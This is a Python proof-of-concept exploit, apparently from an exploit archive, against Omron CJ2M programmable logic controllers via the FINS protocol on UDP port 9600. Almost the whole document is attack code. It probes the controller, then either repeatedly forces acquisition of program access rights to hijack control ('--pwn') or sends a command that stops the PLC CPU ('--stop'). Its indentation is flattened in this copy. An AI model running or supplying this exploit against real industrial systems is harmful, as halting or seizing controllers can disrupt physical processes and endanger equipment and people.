# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)
# Google Dork: n/a
# Date: 2019-12-06
# Exploit Author: n0b0dy
# Vendor Homepage: https://automation.omron.com, ia.omron.com
# Software Link: n/a
# Version: 1.0.0
# Tested on: PLC f/w rev.: CJ2M (v2.01)
# CWE-412 : Unrestricted Externally Accessible Lock
# CVE : n/a
#!usr/bin/python
######################################################################################################
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# `.://+osyyyyyyso+/:-. #
# #
# #
# Exploit Title: Omron PLC: Denial-of-Service as a Feature #
# Google Dork: n/a #
# Date: 2019.12.06 #
# Exploit Author: n0b0dy #
# Vendor Homepage: https://automation.omron.com, ia.omron.com #
# Software Link: n/a #
# Version: 1.0.0 #
# Tested on: PLC f/w rev.: CJ2M (v2.01) #
# CWE-412 : Unrestricted Externally Accessible Lock #
# CVE : n/a #
# #
#######################################################################################################
import sys, signal, socket, time, binascii
nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'
if len(sys.argv) < 2:
print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"
print "--pwn Hijack control of PLC program."
print "--stop Stop PLC CPU."
else:
ip = sys.argv[2]
try:
port = sys.argv[3]
except:
port = 9600
def ip_validate(ip):
a = ip.split('.')
if len(a) != 4:
return False
for x in a:
if not x.isdigit():
return False
i = int(x)
if i < 0 or i > 255:
return False
return True
#fins header
icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req
rsv = '\x00' #reserved
gct = '\x02' #gateway count
dna = '\x00' #dest net addr
idnn = ip[-1:] #dest node no (last digit of target ip)
dnn_i = '0' + idnn
dnn = binascii.a2b_hex(dnn_i)
dua = '\x00' #dest unit addr
sna = '\x00' #source net addr
isnn = nic[-1:] #source node no (last digit of own ip)
snn_i = '0' + isnn
snn = binascii.a2b_hex(snn_i)
sua = '\x00' #source unit addr
sid = '\x7a' #service ID
fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid
#FINS command acceptance code
fins_ok = '\x00'
#Verify PLC type
CmdMRst1 = binascii.a2b_hex("05")
CmdSRst1 = binascii.a2b_hex("01")
Cmdst1 =\
fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'
print "Probing PLC... " + '\t'
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s1.sendto(Cmdst1, (ip, port))
print "Finished." + '\r\n'
s1fins_resp = s1.recvfrom(1024)
s1fins_resp_b = bytes(s1fins_resp[0])
if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:
print "FINS target is exploitable: "
print s1fins_resp_b[14:39]
else:
print "FINS target not exploitable."
print "FINS response from target: ", s1fins_resp
if sys.argv[1] == "--pwn":
#access right forced acquire
PgmNo = '\xff'
CmdMRst2 = binascii.a2b_hex("0c")
CmdSRst2 = binascii.a2b_hex("02")
Cmdst2 =\
fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo
reqdly = 1
persist = 1
pwnage = 0
print "Obtaining control of PLC program..." + '\r\n'
while persist == 1:
try:
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
time.sleep(reqdly)
s2.sendto(Cmdst2, (ip, port))
s2fins_resp = s2.recvfrom(1024)
s2fins_resp_b = bytes(s2fins_resp[0])
if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:
pwnage += 1
pwntime = str(pwnage)
sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")
sys.stdout.flush()
else:
print "Attack unsuccessful. ", '\r\n'
print "FINS error code: ", s2fins_resp
except socket.error as e:
print socket.error
s2.close()
except KeyboardInterrupt:
persist = 0
print '\r', " Attack interrupted by user."
s2.close()
elif sys.argv[1] == "--stop":
#change OP Mode
CmdMRst3 = binascii.a2b_hex("04")
CmdSRst3 = binascii.a2b_hex("02")
Cmdst3 =\
fins_hdr + CmdMRst3 + CmdSRst3
print "Stopping PLC (just for fun)... " + '\t'
s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s3.sendto(Cmdst3, (ip, port))
print "Finished. "
s3fins_resp = s3.recvfrom(1024)
s3fins_resp_b = bytes(s3fins_resp[0])
if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:
print "PLC CPU STOP mode confirmed. "
else:
print "Attack unsuccessful. ", '\r\n'
print "FINS response from target: ", s3fins_resp
